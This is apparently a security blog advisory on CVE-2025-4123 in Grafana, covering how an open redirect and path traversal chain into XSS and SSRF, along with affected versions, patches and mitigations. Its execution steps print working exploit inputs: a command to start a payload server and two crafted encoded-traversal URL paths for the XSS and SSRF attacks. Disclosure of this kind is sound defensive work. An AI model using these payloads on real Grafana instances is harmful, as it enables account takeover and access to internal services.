🚨 CVE-2025-4123: Exploiting Grafana via XSS, SSRF, and Open Redirect
Overview
A critical vulnerability, CVE-2025-4123, has been discovered in Grafana, an open-source analytics platform. This flaw allows attackers to exploit a combination of open redirect and path traversal vulnerabilities, leading to Cross-Site Scripting (XSS), Server-Side Request Forgery (SSRF), and potential account takeover. The vulnerability affects Grafana versions 11.2 through 12.0.
Technical Details
- CVE ID: CVE-2025-4123
- Severity: High (CVSS 7.6)
- Affected Versions: Grafana 11.2 to 12.0
- Attack Vector: Network
- Privileges Required: None
- User Interaction: Required
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: Low
- Availability Impact: Low
Exploitation Mechanics
The vulnerability arises from improper handling of user-supplied paths in custom frontend plugins, leading to:
- Open Redirect: Grafana's
/redirect endpoint fails to validate user-supplied URLs, allowing redirection to arbitrary external sites.
- Path Traversal: By manipulating the path, attackers can traverse directories and access unintended resources.
- Cross-Site Scripting (XSS): Combining open redirect with path traversal, attackers can load malicious scripts, leading to XSS attacks.
- Server-Side Request Forgery (SSRF): If the Grafana Image Renderer plugin is installed, the open redirect can be exploited to perform SSRF, accessing internal services.
These combined vulnerabilities can lead to unauthorized access, data exfiltration, and potential account takeover.
Proof of Concept
Security researcher NightBloodz has provided a comprehensive GitHub repository demonstrating the exploitation of CVE-2025-4123. The repository includes:
server.py: A Flask-based server to host the malicious payloads.js.js: The JavaScript payload used for XSS exploitation.data2.json: Configuration data for the exploit.readme.md: Detailed instructions on setting up and executing the exploit.
Execution Steps
Setup: Run the Flask server to host the malicious payloads.
sudo python server.py --host http://127.0.0.1
XSS Exploit: Craft a URL that exploits the open redirect and path traversal to load the malicious JavaScript.
/a/..%2f..%2f..%2fpublic%2f..%252f%255C127.0.0.1%252f%253Fp%252f..%252f..%23/explore
SSRF Exploit: If the Image Renderer plugin is installed, use the following path to perform SSRF.
/render/public/..%252f%5Chttp://127.0.0.1%252f%3F%252f..%252f..
Note: These exploits require user interaction, such as clicking on a malicious link.
Mitigation
Grafana has released patches addressing this vulnerability. Users are strongly advised to update to the latest versions:
- v10.4.18+security-01
- v11.2.9+security-01
- v11.3.6+security-01
- v11.4.4+security-01
- v11.5.4+security-01
- v11.6.1+security-01
- v12.0.0+security-01
Additionally, it's recommended to:
- Disable anonymous access if not required.
- Ensure that the Content Security Policy (CSP) is properly configured to prevent unauthorized script execution.
- Regularly audit and update plugins, especially the Image Renderer plugin.
References
Disclaimer: This blog post is for educational purposes only. Unauthorized exploitation of vulnerabilities is illegal and unethical. Always obtain proper authorization before conducting security testing.
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